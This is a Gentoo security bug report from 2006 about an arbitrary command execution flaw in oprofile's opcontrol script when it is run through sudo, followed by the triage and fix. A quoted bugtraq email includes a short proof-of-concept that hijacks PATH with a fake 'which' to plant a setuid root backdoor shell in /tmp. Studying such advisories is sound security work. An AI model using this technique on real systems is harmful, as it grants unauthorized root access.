Gentoo Websites Logo
Go to: Gentoo Home Documentation Forums Lists Bugs Planet Store Wiki Get Gentoo!
Bug 122310 - dev-util/oprofile - arbitrary command execution
Summary: dev-util/oprofile - arbitrary command execution
Status: RESOLVED FIXED
Alias: None
Product: Gentoo Security
Classification: Unclassified
Component: Auditing (show other bugs)
Hardware: All Linux
: High major (vote)
Assignee: Gentoo Security
URL:
Whiteboard: C1 [ebuild] DerCorny
Keywords:
Depends on:
Blocks:
 
Reported: 2006-02-09 13:54 UTC by Carsten Lohrke (RETIRED)
Modified: 2006-02-12 10:41 UTC (History)
1 user (show)

See Also:
Package list:
Runtime testing required: ---


Attachments

Note You need to log in before you can comment on or make changes to this bug.
Description Carsten Lohrke (RETIRED) gentoo-dev 2006-02-09 13:54:02 UTC
from a bugtraq email by Lu
Comment 1 Carsten Lohrke (RETIRED) gentoo-dev 2006-02-09 13:54:02 UTC
from a bugtraq email by Luís Miguel Silva <lms@fe.up.pt>:


At least one of the scripts that ships with this software (opcontrol) has a
security flaw which enables a user to run arbitrary commands.

The script itself isnt suid root *but*, to take full advantage of some of the
features the software has, a lot of administrators give 'sudo' privileges to
that script.

Whoever coded the script tried protecting it against executing binaries out of a
safe PATH by defining one on line 1416:
PATH=/usr/local/bin:/usr/local/sbin:/bin:/sbin:/usr/bin:/usr/sbin

The problem is that this script does not check where the 'which' or 'dirname'
binary is executed from on line 1413/1414.

This enables a malicious user to execute arbitrary code by using the following
pseudo'exploit':
cat > which
#!/bin/sh
/bin/cp /bin/bash /tmp/backdoor
/bin/chmod 6755 /tmp/backdoor
^C
set PATH="."
/usr/bin/sudo /usr/local/bin/opcontrol

Vulnerable: <= oprofile-0.9.1

I contacted the developer(s) and got the following response:
"Do not trust admin privileges to unaudited code" - indeed these are words of
wisdom :o)
Comment 2 Stefan Cornelius (RETIRED) gentoo-dev 2006-02-09 14:06:47 UTC
spock please provide fixed ebuilds, thanks
Comment 3 Michal Januszewski (RETIRED) gentoo-dev 2006-02-12 06:43:55 UTC
Fixed ebuilds are now in the tree.

Please note that this whole bug is probably a non-issue for Gentoo systems since our sudo is compiled with the '--with-secure-path' option.
Comment 4 Thierry Carrez (RETIRED) gentoo-dev 2006-02-12 09:30:06 UTC
Auditors please confirm taht we are not affected...
Comment 5 Tavis Ormandy (RETIRED) gentoo-dev 2006-02-12 10:41:32 UTC
Confirmed, Michael is correct, this is not exploitable on gentoo.